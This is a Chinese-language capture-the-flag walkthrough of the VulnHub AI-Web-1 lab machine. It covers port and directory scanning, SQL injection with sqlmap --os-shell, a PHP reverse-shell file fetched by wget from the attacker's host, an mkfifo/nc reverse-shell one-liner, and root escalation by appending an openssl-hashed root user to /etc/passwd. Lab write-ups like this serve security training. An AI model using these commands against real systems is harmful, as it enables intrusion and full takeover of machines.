安装
靶机下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
下载zip后解压
然后用虚拟机打开vmx文件
调成net,看到login就可以开始打了
信息收集
找ip
arp-scan -l
扫端口
nmap -A 192.168.160.146
扫到个80端口
接着用dirsearch扫
扫到个robots.txt
访问一下
给了两个目录
/m3diNf0/
/se3reTdir777/uploads/
访问一下都是Forbidden
访问一下是phpinfo()
先大概看几眼,待会有需要再来找
继续扫一下另外一个目录 /se3reTdir777/uploads/
什么也扫不到,把后面的uoloads删了就可以扫到了
扫到一个login页面
进去看看
漏洞攻击
测试一下
1正常回显
1′ 报错
1″正常回显
1′ #正常回显
那就是单引号闭合的sql注入了
手注太麻烦
试试用sqlmap
先bp抓下包,发现是post传参,把bp包放到kali桌面
这题用sqlmap爆数据库可以正常爆,但是爆不出什么有用的东西
这里需要用到一个之前没学过的知识
sqlmap的–os-shell命令
–os-shell命令成功后,sqlmap 将尝试打开一个交互式操作系统 shell,允许攻击者执行操作系统级别的命令
命令:
sqlmap -u "http://192.168.160.146/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
因为是post传参,所以用–data,后面的”uid=1&Operation=Submit”即post的参数
–level=3 表示 SQL 注入的测试级别为 3。级别越高,检测和利用漏洞的详细程度和强度越大
但–os-shell的使用需要绝对路径
想起来刚刚的phpinfo()
回到phpinfo找路径
搜CONTEXT_DOCUMENT_ROOT(根目录)
找到了根目录/home/www/html/web1x443290o2sdf92213
所以绝对路径就是/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里我想不到为啥是这个,看别的wp的
但是可以一个个试,无非就是/se3reTdir777/uploads/和/se3reTdir777/index.php/login/
中间还需要选语言,选php就行
可以看到进入到了sqlmap的shell
接下来在kali新建一个反弹shell的文件,通过一个简单的http服务器下载到靶机里
在kali桌面建一个文件shell.php
将反弹shell的命令放入
<?php
$sock=fsockopen("192.168.160.133",8848);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
重新开个终端,进入到shell.php所属目录,我放在桌面,进Desktop就行了
然后在本地启动一个简单的 HTTP 服务器
命令:
python3 -m http.server 8848
开放的端口为8848
访问一下
看到成功了,shell.php也在
接下来就是将该文件下载到靶机里
回到刚刚的shell命令行里
用wget命令把文件下载下来
wget -S http://192.168.160.133:8848/shell.php
下载下来了
此时可以关闭刚建的http服务器了
然后开监听
Nc -lvnp 8848
在靶机里执行shell.php文件
php shell.php
看一下监听
监听到了
用python开交互
python -c 'import pty;pty.spawn("/bin/bash")'
提权
思路就是利用openssl添加一个有root权限的用户,密码设简单点,然后添加到/etc/passwd里
然后切换新建的用户就行了
在Linux系统中我们要想手动生成一个密码可以采用openssl passwd来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
语法格式
openssl passwd [option] passwd
新建用户
openssl passwd -1 -salt h 123456
-l指定使用 MD5 算法进行哈希加密
h为用户名,123456为密码
将用户写入/etc/passwd文件里
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd
/etc/passwd格式:
注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序
看一下有没有成功写入
cat /etc/passwd
成功写进去了
切换用户拿flag就行了
密码是刚设的123456
总结:
主要考点:
sqlmap–os-shell的使用
用python3 -m来新建一个临时的http服务器,在服务器里写入木马,然后下周到靶机里
用openssl新建用户,传到/etc/passwd里提权
中间还有一种拿shell的方法:
用sqlmap来上传木马
sqlmap -u "http://192.168.160.146/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
用蚁剑连接后执行
rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.160.133 6666 >/tmp/f
来反弹shell
网上很多wp都是用的这种方法,但不晓得为啥我反弹了的shell是这样的
没什么用,不晓得为啥,但是用sqlmap传文件和用蚁剑反弹shell感觉可以学下的